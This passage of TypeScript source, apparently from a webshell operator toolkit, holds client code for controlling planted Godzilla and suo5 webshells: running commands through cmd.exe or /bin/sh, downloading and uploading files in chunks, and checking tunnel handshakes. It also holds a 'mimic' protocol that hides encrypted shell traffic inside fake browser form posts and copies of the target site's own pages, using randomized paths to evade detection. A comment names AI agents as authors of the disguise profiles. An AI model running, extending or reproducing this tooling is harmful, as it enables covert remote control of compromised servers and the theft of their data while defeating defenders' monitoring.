{\n return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, \"base64\"), xc));\n } catch {\n throw new Error(\"found wrapper but failed to decrypt — wrong key?\");\n }\n },\n };\n}\n\nexport async function testGodzilla(\n url: string,\n pass: string,\n key: string,\n options: CommonConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: errMsg(err),\n durationMs: Date.now() - started,\n };\n }\n\n let result: string;\n try {\n result = (await session.callMethod(\"test\")).toString(\"utf8\").trim();\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: errMsg(err),\n durationMs: Date.now() - started,\n };\n }\n\n if (result === \"ok\") {\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n detail: `payload uploaded, \"test\" returned ok`,\n durationMs: Date.now() - started,\n };\n }\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: `decrypted response is ${JSON.stringify(result)}, expected \"ok\"`,\n durationMs: Date.now() - started,\n };\n}\n\nexport interface GodzillaExecOptions extends CommonConnectOptions {\n /**\n * Remote OS family, used to pick the shell wrapper (`cmd.exe /c` vs\n * `/bin/sh -c`). \"auto\" (default) asks the payload's `getBasicsInfo`\n * first — one extra request per exec.\n */\n os?: \"auto\" | \"windows\" | \"linux\";\n}\n\n/**\n * Godzilla command execution — invokes the payload's `execCommand` method.\n * The payload runs `Runtime.exec(argv)` (no shell of its own), so the\n * command line is wrapped in `cmd.exe /c` or `/bin/sh -c` here.\n */\nexport async function execGodzilla(\n url: string,\n pass: string,\n key: string,\n command: string,\n options: GodzillaExecOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return fail(errMsg(err));\n }\n\n // ---- optional: detect the remote OS ----\n let os = options.os ?? \"auto\";\n if (os === \"auto\") {\n try {\n const info = (await session.callMethod(\"getBasicsInfo\")).toString(\"utf8\");\n const osLine = info.split(\"\\n\").find((l) => l.startsWith(\"OsInfo :\")) ?? info;\n os = /os\\.name:[^\\n]*windows/i.test(osLine) ? \"windows\" : \"linux\";\n } catch (err) {\n return fail(errMsg(err));\n }\n }\n\n // ---- execCommand ----\n const argv =\n os === \"windows\" ? [\"cmd.exe\", \"/c\", command] : [\"/bin/sh\", \"-c\", command];\n const params: Array<[string, Buffer]> = [\n [\"argsCount\", Buffer.from(String(argv.length), \"utf8\")],\n ...argv.map((arg, i): [string, Buffer] => [`arg-${i}`, Buffer.from(arg, \"utf8\")]),\n ];\n try {\n const output = await session.callMethod(\"execCommand\", params);\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n command,\n output: output.toString(\"utf8\"),\n durationMs: Date.now() - started,\n };\n } catch (err) {\n return fail(errMsg(err));\n }\n}\n\n/** 1 MiB — the Godzilla client's own big-file block size. */\nconst DEFAULT_CHUNK = 1024 * 1024;\n/** The payload parses position/readByteNum as Java int — no >2 GiB files. */\nconst MAX_REMOTE_SIZE = 0x7fffffff;\n/** Per-chunk attempts; offset-based writes/reads are idempotent, so retry is safe. */\nconst CHUNK_ATTEMPTS = 3;\n\nexport interface GodzillaTransferOptions extends CommonConnectOptions {\n /** Chunk size for the big-file transfer loop (default 1 MiB). */\n chunkSize?: number;\n /**\n * Charset of the remote JVM's platform default encoding (any Java label —\n * \"GBK\", \"MS932\", ...), used to encode non-ASCII remote paths. Default\n * UTF-8 (correct on JDK 18+ and virtually all Linux servers).\n */\n remoteCharset?: string;\n}\n\nfunction fileParams(pathBytes: Buffer, extra: Array<[string, Buffer]>): Array<[string, Buffer]> {\n return [[\"fileName\", pathBytes], ...extra];\n}\n\n/**\n * Godzilla file download — the payload's `bigFileDownload` method:\n * mode=fileSize -> decimal ASCII size (File.length(); 0 for missing files!)\n * mode=read -> up to readByteNum raw bytes starting at position\n * A chunk is accepted iff `chunk.length == readByteNum` (full read) or\n * `chunk.length + downloaded == fileSize` (short read at EOF) — the same\n * criterion the Godzilla client uses; anything else is the payload's error\n * text (\"Exception errMsg:...\"), never file content to keep.\n */\nexport async function downloadGodzilla(\n url: string,\n pass: string,\n key: string,\n remotePath: string,\n options: GodzillaTransferOptions = {},\n): Promise<DownloadResult> {\n const started = Date.now();\n const fail = (error: string): DownloadResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n direction: \"download\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return fail(errMsg(err));\n }\n const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);\n\n // ---- size probe ----\n let sizeText: string;\n try {\n sizeText = decodeServerText(\n await session.callMethod(\n \"bigFileDownload\",\n fileParams(pathBytes, [\n [\"mode\", Buffer.from(\"fileSize\")],\n [\"position\", Buffer.from(\"0\")],\n [\"readByteNum\", Buffer.from(\"0\")],\n ]),\n ),\n ).trim();\n } catch (err) {\n return fail(errMsg(err));\n }\n if (!/^\\d+$/.test(sizeText)) {\n return fail(`cannot get remote file size — server said: ${JSON.stringify(sizeText)}`);\n }\n const size = Number.parseInt(sizeText, 10);\n if (size > MAX_REMOTE_SIZE) {\n return fail(\n `remote file is ${size} bytes — the Godzilla payload cannot handle files over 2 GiB`,\n );\n }\n\n // ---- chunked read ----\n // A zero-byte size still gets one probe read: File.length() is 0 both for\n // \"exists and empty\" and for \"does not exist\". A read with readByteNum=0\n // tells them apart — the payload's read(byte[0]) returns 0 bytes (success)\n // for an existing file, while a missing file throws FileNotFoundException\n // in the FileInputStream constructor (an \"Exception errMsg:...\" string\n // that fails the acceptance criterion below). Note readByteNum>0 at EOF\n // makes the payload fail with \"Exception errMsg:-1\" (NegativeArraySize),\n // so the probe must ask for exactly 0 bytes.\n const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;\n const parts: Buffer[] = [];\n let downloaded = 0;\n for (;;) {\n if (size > 0 && downloaded >= size) break;\n if (size === 0 && parts.length > 0) break;\n\n const want = size === 0 ? 0 : Math.min(chunkSize, size - downloaded);\n let chunk: Buffer | null = null;\n let serverSays = \"\";\n for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && chunk === null; attempt++) {\n try {\n const res = await session.callMethod(\n \"bigFileDownload\",\n fileParams(pathBytes, [\n [\"mode\", Buffer.from(\"read\")],\n [\"position\", Buffer.from(String(downloaded))],\n [\"readByteNum\", Buffer.from(String(want))],\n ]),\n );\n if (res.length === want || res.length + downloaded === size) {\n chunk = res;\n } else {\n serverSays = decodeServerText(res).trim();\n }\n } catch (err) {\n serverSays = errMsg(err);\n }\n }\n if (chunk === null) {\n return fail(\n `read failed at offset ${downloaded}/${size} — server said: ${JSON.stringify(serverSays)}`,\n );\n }\n parts.push(chunk);\n downloaded += chunk.length;\n }\n\n const data = Buffer.concat(parts);\n if (data.length !== size) {\n return fail(\n `incomplete download: got ${data.length} of ${size} bytes — the file changed during transfer?`,\n );\n }\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n direction: \"download\",\n remotePath,\n bytes: data.length,\n data,\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Godzilla file upload.\n * Small files (≤ chunkSize) go in one `uploadFile` call (truncate + write —\n * the payload's whole-file method, same as the Godzilla client's normal\n * upload). Bigger files use `bigFileUpload` with an absolute `position`\n * (RandomAccessFile seek + write, idempotent → safe per-chunk retry).\n * Afterwards the remote size is verified via `bigFileDownload mode=fileSize`.\n */\nexport async function uploadGodzilla(\n url: string,\n pass: string,\n key: string,\n remotePath: string,\n data: Buffer,\n options: GodzillaTransferOptions = {},\n): Promise<TransferResult> {\n const started = Date.now();\n const fail = (error: string): TransferResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n direction: \"upload\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return fail(errMsg(err));\n }\n const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);\n\n const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;\n if (data.length <= chunkSize) {\n let text: string;\n try {\n text = decodeServerText(\n await session.callMethod(\"uploadFile\", fileParams(pathBytes, [[\"fileValue\", data]])),\n ).trim();\n } catch (err) {\n return fail(errMsg(err));\n }\n if (text !== \"ok\") {\n return fail(`server said: ${JSON.stringify(text)}`);\n }\n } else {\n let offset = 0;\n while (offset < data.length) {\n const chunk = data.subarray(offset, Math.min(offset + chunkSize, data.length));\n let ok = false;\n let serverSays = \"\";\n for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && !ok; attempt++) {\n try {\n const res = await session.callMethod(\n \"bigFileUpload\",\n fileParams(pathBytes, [\n [\"fileContents\", chunk],\n [\"position\", Buffer.from(String(offset))],\n ]),\n );\n serverSays = decodeServerText(res).trim();\n ok = serverSays === \"ok\";\n } catch (err) {\n serverSays = errMsg(err);\n }\n }\n if (!ok) {\n return fail(\n `upload failed at offset ${offset}/${data.length} — server said: ${JSON.stringify(serverSays)}`,\n );\n }\n offset += chunk.length;\n }\n }\n\n // ---- verify the remote size matches ----\n try {\n const sizeText = decodeServerText(\n await session.callMethod(\n \"bigFileDownload\",\n fileParams(pathBytes, [\n [\"mode\", Buffer.from(\"fileSize\")],\n [\"position\", Buffer.from(\"0\")],\n [\"readByteNum\", Buffer.from(\"0\")],\n ]),\n ),\n ).trim();\n if (!/^\\d+$/.test(sizeText) || Number.parseInt(sizeText, 10) !== data.length) {\n return fail(\n `upload finished but remote size mismatch — sent ${data.length} bytes, server said: ${JSON.stringify(sizeText)}`,\n );\n }\n } catch (err) {\n return fail(`upload finished but size verification failed: ${errMsg(err)}`);\n }\n\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n direction: \"upload\",\n remotePath,\n bytes: data.length,\n durationMs: Date.now() - started,\n };\n}\n","import WebSocket from \"ws\";\n\nimport { buildHeaders, type CommonConnectOptions } from \"./types.js\";\n\nexport function isWebSocketUrl(url: string): boolean {\n return /^wss?:\\/\\//i.test(url);\n}\n\nexport function requestWebSocket(\n url: string,\n body: Buffer,\n options: CommonConnectOptions = {},\n): Promise<Buffer> {\n let target: URL;\n try {\n target = new URL(url);\n } catch {\n return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));\n }\n if (target.protocol !== \"ws:\" && target.protocol !== \"wss:\") {\n return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));\n }\n const timeoutMs = options.timeoutMs ?? 30_000;\n\n return new Promise<Buffer>((resolve, reject) => {\n const socket = new WebSocket(target, {\n headers: buildHeaders({}, options),\n handshakeTimeout: timeoutMs,\n rejectUnauthorized: !options.insecure,\n perMessageDeflate: false,\n maxPayload: 256 * 1024 * 1024,\n });\n let timer: NodeJS.Timeout | undefined;\n let settled = false;\n const finish = (error?: Error, result?: Buffer) => {\n if (settled) return;\n settled = true;\n if (timer) clearTimeout(timer);\n timer = undefined;\n socket.removeAllListeners();\n if (error) reject(error);\n else resolve(result!);\n socket.close();\n };\n timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);\n\n socket.once(\"open\", () => socket.send(body));\n socket.on(\"message\", (data: Buffer, isBinary: boolean) => {\n // `ws` reassembles transport fragments before emitting a message. The\n // Godzilla endpoint keeps the connection open after its binary reply.\n finish(isBinary ? undefined : new Error(\"expected a binary Godzilla WebSocket response\"), data);\n });\n socket.once(\"close\", () => finish(new Error(\"WebSocket closed without a response\")));\n socket.once(\"error\", (error) => finish(error));\n socket.once(\"unexpected-response\", (_request, response) => {\n finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));\n });\n });\n}\n","/**\n * suo5 connection test.\n *\n * Two wire protocols exist in the wild:\n *\n * - \"v2\": the zema1/suo5 protocol (also what MemShellParty's `Suo5v2` shells\n * and the real suo5.jsp speak). Connection test = the client's\n * `checkConnectMode` in classic mode: POST one base64 frame\n * `{ac:0x01, id, dt:identifier, a:0x00, m:0x00(checking)}`; the shell echoes\n * `dt` in frame 1 and returns a session id in frame 2.\n *\n * - \"v1\": MemShellParty's legacy `Suo5` shell (raw binary single-byte-XOR\n * frames). Its full-duplex probe (`Content-Type: application/plain`) echoes\n * back 32 bytes verbatim — that round-trip is the liveness check.\n */\nimport { randomBytes } from \"node:crypto\";\nimport { base64UrlDecode, base64UrlEncode, randomString } from \"./crypto.js\";\nimport { postRaw } from \"./http.js\";\nimport { buildHeaders, type CommonConnectOptions, type ConnectTestResult } from \"./types.js\";\n\nexport type Suo5Mode = \"auto\" | \"v2\" | \"v1\";\n\nexport interface Suo5ConnectOptions extends CommonConnectOptions {\n mode?: Suo5Mode;\n}\n\n// ---------- frame codec (zema1/suo5 netrans.DataFrame, base64 variant) ----------\n\n/** suo5's `Marshal`: [klen u8][key][vlen u32 BE][value] per entry. */\nexport function marshalSuo5Map(entries: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of entries) {\n const keyBytes = Buffer.from(key, \"utf8\");\n const len = Buffer.alloc(4);\n len.writeUInt32BE(value.length, 0);\n parts.push(Buffer.from([keyBytes.length]), keyBytes, len, value);\n }\n return Buffer.concat(parts);\n}\n\nexport function unmarshalSuo5Map(data: Buffer): Map<string, Buffer> {\n const map = new Map<string, Buffer>();\n let off = 0;\n while (off < data.length - 1) {\n const kLen = data[off]!;\n off += 1;\n if (off + kLen > data.length) throw new Error(\"unexpected eof when read key\");\n const key = data.toString(\"utf8\", off, off + kLen);\n off += kLen;\n if (off + 4 > data.length) throw new Error(\"unexpected eof when read value size\");\n const vLen = data.readUInt32BE(off);\n off += 4;\n if (off + vLen > data.length) throw new Error(\"unexpected eof when read value\");\n map.set(key, data.subarray(off, off + vLen));\n off += vLen;\n }\n return map;\n}\n\n/** suo5's `DataFrame.MarshalBinaryBase64`. */\nexport function marshalFrameBase64(data: Buffer): Buffer {\n const obs = randomBytes(2);\n const xored = Buffer.from(data);\n for (let i = 0; i < xored.length; i++) xored[i] = xored[i]! ^ obs[i % 2]!;\n const dataB64 = base64UrlEncode(xored);\n\n const header = Buffer.alloc(6);\n obs.copy(header, 0);\n header.writeUInt32BE(Buffer.byteLength(dataB64), 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[i % 2]!;\n\n return Buffer.concat([Buffer.from(base64UrlEncode(header)), Buffer.from(dataB64)]);\n}\n\nexport interface Suo5Frame {\n data: Buffer;\n /** offset just past this frame */\n next: number;\n}\n\n/** suo5's `ReadFrameBase64` over a flat buffer. Throws on truncation. */\nexport function unmarshalFrameBase64(buf: Buffer, offset = 0): Suo5Frame {\n if (buf.length - offset < 8) throw new Error(\"failed to read header base64: truncated\");\n const header = base64UrlDecode(buf.toString(\"latin1\", offset, offset + 8));\n if (header.length !== 6) throw new Error(\"invalid header length\");\n const obs = header.subarray(0, 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[(i - 2) % 2]!;\n const dataLength = header.readUInt32BE(2);\n if (dataLength > 32 * 1024 * 1024) throw new Error(`frame is too big, ${dataLength}`);\n const dataStart = offset + 8;\n if (buf.length - dataStart < dataLength) throw new Error(\"failed to read data base64: truncated\");\n const data = base64UrlDecode(buf.toString(\"latin1\", dataStart, dataStart + dataLength));\n for (let i = 0; i < data.length; i++) data[i] = data[i]! ^ obs[i % 2]!;\n return { data, next: dataStart + dataLength };\n}\n\n// ---------- v2 handshake ----------\n\nasync function testSuo5V2(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const identifier = randomString(48);\n const frame = marshalFrameBase64(\n marshalSuo5Map([\n [\"ac\", Buffer.from([0x01])], // ActionData\n [\"id\", randomBytes(8)],\n [\"dt\", Buffer.from(identifier, \"utf8\")],\n [\"a\", Buffer.from([0x00])], // classic (non-streaming) check\n [\"m\", Buffer.from([0x00])], // ConnectionType.Checking\n [\"_\", randomBytes(Math.floor(Math.random() * 64))], // junk\n ]),\n );\n\n let response;\n try {\n response = await postRaw(url, frame, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n\n try {\n const echoFrame = unmarshalFrameBase64(response.body, 0);\n const echoMap = unmarshalSuo5Map(echoFrame.data);\n const echoed = echoMap.get(\"dt\")?.toString(\"utf8\");\n if (echoed !== identifier) {\n return {\n ok: false,\n error: `HTTP ${response.status}, first frame did not echo the identifier (got ${\n echoed === undefined ? \"no dt field\" : JSON.stringify(echoed.slice(0, 64))\n })`,\n };\n }\n const sessionFrame = unmarshalFrameBase64(response.body, echoFrame.next);\n const sessionMap = unmarshalSuo5Map(sessionFrame.data);\n const sid = sessionMap.get(\"dt\")?.toString(\"utf8\");\n if (!sid) {\n return { ok: false, error: \"second frame carries no session id\" };\n }\n return { ok: true, detail: `suo5 v2 handshake ok (session ${sid}, HTTP ${response.status})` };\n } catch (err) {\n return {\n ok: false,\n error: `HTTP ${response.status}, response is not valid suo5 frames (${\n err instanceof Error ? err.message : String(err)\n })`,\n };\n }\n}\n\n// ---------- v1 plain echo ----------\n\nasync function testSuo5V1(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const probe = randomBytes(32);\n let response;\n try {\n response = await postRaw(url, probe, {\n headers: buildHeaders({ \"Content-Type\": \"application/plain\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n if (response.body.equals(probe)) {\n return {\n ok: true,\n detail: `suo5 v1 full-duplex echo ok (32 bytes round-trip, HTTP ${response.status})`,\n };\n }\n return {\n ok: false,\n error: `HTTP ${response.status}, expected the 32 probe bytes echoed back, got ${response.body.length} different bytes`,\n };\n}\n\nexport async function testSuo5(\n url: string,\n options: Suo5ConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const mode = options.mode ?? \"auto\";\n const failures: string[] = [];\n\n if (mode === \"v2\" || mode === \"auto\") {\n const v2 = await testSuo5V2(url, options);\n if (v2.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v2.detail, durationMs: Date.now() - started };\n }\n failures.push(`v2: ${v2.error}`);\n if (mode === \"v2\") {\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: `${v2.error} — not a suo5(v2) shell?`,\n durationMs: Date.now() - started,\n };\n }\n }\n if (mode === \"v1\" || mode === \"auto\") {\n const v1 = await testSuo5V1(url, options);\n if (v1.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v1.detail, durationMs: Date.now() - started };\n }\n failures.push(`v1: ${v1.error}`);\n }\n\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: failures.join(\"; \") + \" — not a suo5 shell (or missing gate header)\",\n durationMs: Date.now() - started,\n };\n}\n","/**\n * mimic — the demo plugin: a shell protocol that shapes its traffic after\n * the target site's own pages (see docs/custom-memshell-design.md §B).\n *\n * Client side of the wire format documented in mimic-shared.ts:\n * - requests look like an ordinary browser form POST;\n * - responses are full HTML pages (the site profile's template) with the\n * ciphertext hidden in a per-shell-unique JS variable assignment;\n * - with --dynamic-path the request path is randomized using the path\n * vocabulary the profile learned from the site (filter-style shells\n * answer on any path, so the URL stops being a fixed indicator).\n *\n * The server side for local validation lives in mimic-server.ts; generating\n * a real Java memory shell from a profile is the P1 follow-up.\n */\nimport { randomInt } from \"node:crypto\";\n\nimport {\n inferBodyTemplateContentType,\n loadProfile,\n pickRequestShape,\n profileRequests,\n profileTemplates,\n type SiteProfile,\n} from \"../core/site-profile.js\";\nimport { postRaw } from \"./http.js\";\nimport { randomString } from \"./crypto.js\";\nimport {\n deriveMarkers,\n resolveCipher,\n type MimicCipher,\n type ResponseMarkers,\n} from \"./mimic-codecs.js\";\nimport {\n buildFormBody,\n buildJsonBody,\n deriveAesKey,\n encryptField,\n extractBetween,\n renderBodyTemplate,\n templateDelimiters,\n decryptField,\n renderFieldValue,\n} from \"./mimic-shared.js\";\nimport type { ProtocolRequest, ShellProtocol } from \"./registry.js\";\nimport type { ConnectTestResult, ExecResult } from \"./types.js\";\nimport { buildHeaders } from \"./types.js\";\n\n/** A minimal, self-consistent browser header set (suo5's lesson: match the UA). */\nconst BROWSER_HEADERS: Record<string, string> = {\n \"User-Agent\":\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36\",\n Accept: \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n};\n\ninterface MimicContext {\n pass: string;\n aesKey: string;\n cipher: MimicCipher;\n markers: ResponseMarkers;\n profile?: SiteProfile;\n dynamicPath: boolean;\n}\n\nfunction buildContext(req: ProtocolRequest): MimicContext {\n const pass = req.conn.pass ?? \"pass\";\n const secretKey = req.conn.key ?? \"key\";\n let profile: SiteProfile | undefined;\n const profileName = req.options.profile ?? req.conn.profile;\n if (profileName) {\n profile = loadProfile(profileName); // throws a descriptive error when missing\n }\n const cipher = resolveCipher(profile?.cipher);\n return {\n pass,\n aesKey: deriveAesKey(secretKey),\n cipher,\n markers: deriveMarkers(pass, secretKey, cipher),\n profile,\n dynamicPath: req.options.dynamicPath ?? false,\n };\n}\n\n/** Where to send this request: the fixed shell URL, or a randomized path. */\nexport function pickRequestUrl(connUrl: string, ctx: MimicContext): string {\n if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {\n return connUrl;\n }\n const origin = new URL(connUrl).origin;\n const dir = ctx.profile.paths[randomInt(ctx.profile.paths.length)]!;\n const slug = randomString(8).toLowerCase();\n return `${origin}${dir}${slug}`;\n}\n\ninterface MimicRoundTrip {\n ok: boolean;\n output?: string;\n error?: string;\n requestUrl: string;\n status: number;\n durationMs: number;\n}\n\nasync function roundTrip(\n req: ProtocolRequest,\n ctx: MimicContext,\n plaintext: string,\n): Promise<MimicRoundTrip> {\n let requestUrl = pickRequestUrl(req.conn.url, ctx);\n // pick one request shape (profiles may carry an array): the ciphertext rides\n // in shape.secretField — in the form body (default), the URL query, or a header\n const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);\n const secretField = shape?.secretField ?? ctx.pass;\n const secretIn = shape?.secretIn ?? \"body\";\n const bodyStyle = shape?.bodyStyle ?? \"form\";\n const cipher = encryptField(Buffer.from(plaintext, \"utf8\"), ctx.aesKey, ctx.cipher);\n const decoys = (shape?.fields ?? []).map((f) => ({\n name: f.name,\n value: renderFieldValue(f.value),\n }));\n\n let body: Buffer;\n const extraHeaders: Record<string, string> = {};\n if (secretIn === \"query\") {\n const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();\n requestUrl += (requestUrl.includes(\"?\") ? \"&\" : \"?\") + qs;\n body = Buffer.alloc(0);\n } else if (secretIn === \"header\") {\n // base64 is legal in header values as-is — no URL-encoding there\n extraHeaders[secretField] = cipher;\n body = bodyStyle === \"json\" ? buildJsonBody(decoys) : buildFormBody(decoys);\n } else if (shape?.bodyTemplate) {\n // a full body template (chat-API JSON / GraphQL / XML / multipart…):\n // the ciphertext goes where {{payload}} sits, decoys ride {{macros}}\n body = renderBodyTemplate(shape.bodyTemplate, cipher);\n } else {\n body =\n bodyStyle === \"json\"\n ? buildJsonBody([...decoys, { name: secretField, value: cipher }])\n : buildFormBody([...decoys, { name: secretField, value: cipher }]);\n }\n const baseHeaders: Record<string, string> = { ...BROWSER_HEADERS };\n // query mode: an empty body must not claim a form Content-Type\n if (secretIn === \"query\") delete baseHeaders[\"Content-Type\"];\n else if (shape?.bodyTemplate) {\n // explicit headers win (merged below); otherwise infer from the body —\n // a multipart template's boundary comes from its first delimiter line\n const t = shape.bodyTemplate.trimStart();\n if (t.startsWith(\"--\")) {\n const boundary = t.split(/\\r?\\n/, 1)[0]!.slice(2);\n baseHeaders[\"Content-Type\"] = `multipart/form-data; boundary=${boundary}`;\n } else {\n // shared with the custom build's body-read allowlist derivation\n const inferred = inferBodyTemplateContentType(shape.bodyTemplate);\n if (inferred) baseHeaders[\"Content-Type\"] = inferred;\n else delete baseHeaders[\"Content-Type\"];\n }\n } else if (bodyStyle === \"json\") baseHeaders[\"Content-Type\"] = \"application/json\";\n const headers = buildHeaders(\n { ...baseHeaders, ...extraHeaders, ...(shape?.headers ?? {}) },\n req.common,\n );\n let res;\n try {\n res = await postRaw(requestUrl, body, {\n headers,\n timeoutMs: req.common.timeoutMs,\n insecure: req.common.insecure,\n });\n } catch (err) {\n return {\n ok: false,\n error: err instanceof Error ? err.message : String(err),\n requestUrl,\n status: 0,\n durationMs: 0,\n };\n }\n if (res.status !== 200) {\n return {\n ok: false,\n error: `HTTP ${res.status} — the endpoint did not answer like a mimic shell`,\n requestUrl,\n status: res.status,\n durationMs: res.durationMs,\n };\n }\n const text = res.body.toString(\"utf8\");\n // try each cover template's delimiters — the server rotates templates, and\n // {{payload}} templates have their own exact bounds (any content type)\n const delimiters = templateDelimiters(\n ctx.profile ? profileTemplates(ctx.profile) : [],\n ctx.markers,\n );\n let b64: string | null = null;\n for (const d of delimiters) {\n b64 = extractBetween(text, d.left, d.right);\n if (b64 !== null) break;\n }\n if (b64 === null) {\n return {\n ok: false,\n error: \"response marker not found — wrong pass/key, or the page is not a mimic shell\",\n requestUrl,\n status: res.status,\n durationMs: res.durationMs,\n };\n }\n try {\n const output = decryptField(b64, ctx.aesKey, ctx.cipher).toString(\"utf8\");\n return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };\n } catch {\n return {\n ok: false,\n error: \"response decryption failed — wrong key?\",\n requestUrl,\n status: res.status,\n durationMs: res.durationMs,\n };\n }\n}\n\nexport const mimicProtocol: ShellProtocol = {\n name: \"mimic\",\n description: \"site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)\",\n\n async test(req: ProtocolRequest): Promise<ConnectTestResult> {\n const started = Date.now();\n const tool = \"mimic\";\n const url = req.conn.url;\n let ctx: MimicContext;\n try {\n ctx = buildContext(req);\n } catch (err) {\n return {\n ok: false,\n tool,\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n const canary = randomString(12);\n const r = await roundTrip(req, ctx, `echo ${canary}`);\n if (!r.ok) {\n return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };\n }\n if (!r.output!.includes(canary)) {\n return {\n ok: false,\n tool,\n url,\n error: \"round-trip mismatch — endpoint decrypted but did not execute the canary\",\n durationMs: Date.now() - started,\n };\n }\n const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : \"no profile\";\n const pathNote = r.requestUrl === url ? \"fixed path\" : `dynamic path ${r.requestUrl}`;\n return {\n ok: true,\n tool,\n url,\n detail: `round-trip ok (${profileNote}; ${pathNote})`,\n durationMs: Date.now() - started,\n };\n },\n\n async exec(req: ProtocolRequest, command: string): Promise<ExecResult> {\n const started = Date.now();\n const tool = \"mimic\";\n const url = req.conn.url;\n let ctx: MimicContext;\n try {\n ctx = buildContext(req);\n } catch (err) {\n return {\n ok: false,\n tool,\n url,\n command,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n const r = await roundTrip(req, ctx, command);\n if (!r.ok) {\n return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };\n }\n return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };\n },\n};\n","/**\n * Site profiles — the mimic protocol's view of what a target site looks\n * like (see docs/custom-memshell-design.md).\n *\n * Profiles are written BY THE OPERATOR (or an AI agent), not crawled: a\n * dumb crawler can't judge which page makes the best cover, and in\n * practice the agent reads the site itself and hand-writes this JSON.\n * This module is only the store + schema:\n *\n * - templates: one or more real response bodies (HTML/JSON/XML/JS…)\n * used as response skins — the server rotates among them so\n * responses don't all share one page's length/hash. A\n * template carrying `{{payload}}` gets the ciphertext\n * substituted exactly there (any format); an HTML template\n * without it gets the marker fragment injected;\n * - paths: the site's path vocabulary, e.g. [\"/api/\", \"/news/\"],\n * used for --dynamic-path request randomization.\n *\n * Legacy profiles with a single `template`/`title`/`contentType` triple\n * still load — they are normalized to a one-entry `templates` list.\n *\n * Store location: ~/.memparty/profiles/<name>.json (dir override with\n * MEMPARTY_PROFILES).\n */\nimport { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\n\nexport interface ProfileTemplate {\n /** <title> of this page (metadata — the template is used verbatim). */\n title: string;\n /**\n * Full body of a real response on the site (a response skin). Any text\n * format is allowed — HTML, JSON, XML, JS… When it contains the literal\n * placeholder `{{payload}}`, the ciphertext is substituted exactly there\n * (works for every format); without a placeholder the template must be an\n * HTML page and the cipher's marker fragment is injected before </body>.\n */\n template: string;\n /** Content-Type this page is served with (the shell answers with it). */\n contentType: string;\n /** Relative rotation weight (default 1). */\n weight?: number;\n}\n\n/** One form field in the request shape. Values may contain {{hex:N}} placeholders. */\nexport interface ProfileFormField {\n name: string;\n value: string;\n}\n\n/**\n * How shell requests should look on the wire. Model it on a real form the\n * target site already receives all the time (e.g. its own login POST):\n * the ciphertext hides in `secretField`, surrounded by decoy fields.\n *\n * A profile may carry ONE of these or an 